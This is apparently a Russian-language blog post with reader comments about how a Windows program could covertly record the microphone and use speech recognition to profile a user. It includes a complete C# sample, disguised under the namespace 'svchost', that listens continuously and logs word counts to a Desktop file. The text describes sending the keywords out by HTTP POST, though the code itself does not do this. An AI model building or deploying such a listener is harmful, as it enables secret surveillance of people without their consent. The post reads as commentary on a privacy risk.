Как пользователей Windows незаметно подслушивают через микрофон

Начинающий программист под Windows стал изучать возможности движка распознавания речи и заметил удивительный «нюанс». Оказывается, любая программа может тайком включать запись с микрофона, через движок распознавать сказанное пользователем за день и регулярно передавать на сервера третьих лиц.

Эксперт даже высказал предположение, что реальная причина запилки движка распознавания голоса заключается в том, чтобы помочь собрать профиль интересов пользователя. Действительно, низкокачественный движок не предназначен для диктовки текста по причине неприемлемо большого количества ошибок. Зато прекрасно подходит для того, чтобы набрать ключевых слов — «облако тегов», по которым можно определить, чем интересуется пользователь IRL. Заметьте, не надо передавать на чужие серверы большие и заметные аудиофайлы, а можно тихо и незаметно слить ключевые слова через обычный и неприметный HTTP POST запрос. А какая экономия на дата-центрах! Ведь для вычленения информации используются ресурсы ПК самого объекта слежки.

В сеть выложен работающий пример такой программы. Она имеет потрясающе короткий текст и понятна даже школьнику. Все для удобства слежки.


using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Speech.Recognition;
using System.IO;
namespace svchost
{
class Program
{
static void Main(string[] args) => new Program().RunBotAsync().GetAwaiter().GetResult();
public async Task RunBotAsync()
{
setupSpeechRec();
await Task.Delay(-1);
}
SpeechRecognitionEngine speechRec = new SpeechRecognitionEngine();
Dictionary results = new Dictionary();
string desktopDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string fileName = "test.txt";
private void setupSpeechRec()
{
DictationGrammar dictGrammar = new DictationGrammar();
speechRec.LoadGrammarAsync(dictGrammar);
speechRec.SetInputToDefaultAudioDevice();
speechRec.SpeechRecognized += speechRec_SpeechRecognised;
speechRec.RecognizeAsync(RecognizeMode.Multiple);
}
private void speechRec_SpeechRecognised(object sender, SpeechRecognizedEventArgs e)
{
string[] words = e.Result.Text.Split(' ');
foreach (string word in words)
{
if (word == "print")
{
string filePath = Path.Combine(desktopDirectory, fileName);
StreamWriter textWriter = new StreamWriter(filePath, false);
foreach (KeyValuePair item in results)
{
textWriter.WriteLine($"{item.Key}: {item.Value}");
}
textWriter.Close();
}
else if (results.ContainsKey(word))
{
results[word]++;
}
else
{
results.Add(word, 1);
}
}
}
}
}

field_vote: 
Ваша оценка: Нет Средняя: 4.9 (8 оценки)
Дистрибутивы: 
Пользовательские теги: 

Комментарии

Хм. Интересно.

Но на самом деле на роутере же блочится вся телеметрия.

Оценка: 
Средняя: 1.7 (6 оценки)

А что блочить? Допустим, программа от стороннего производителя. Заявлены функции одни, а на деле еще и микрофон тайком включается. Причем, разработчик ничем не рискует. Если схватят за жопу, то он просто сошлется на "технический сбой". Кажись, такое уже было с ноутами Sony. Ну а далее программа тырит распознанное через POST запросы в HTTPS. Что именно блочить? Весь Web?

Оценка: 
Средняя: 5 (10 оценки)

Угум-с. Только вот есть мааааленький нюанс: заниматься тем же самым можно из-под любой OS, включая OS X и любые линуксы. И всюду незаметно, ага.

Оценка: 
Пока без оценки

Комментировать

Filtered HTML

  • Use [fn]...[/fn] (or <fn>...</fn>) to insert automatically numbered footnotes.
  • Доступны HTML теги: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote> <strike> <code> <h2> <h3> <h4> <h5> <del> <img>
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.

Plain text

  • HTML-теги не обрабатываются и показываются как обычный текст
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.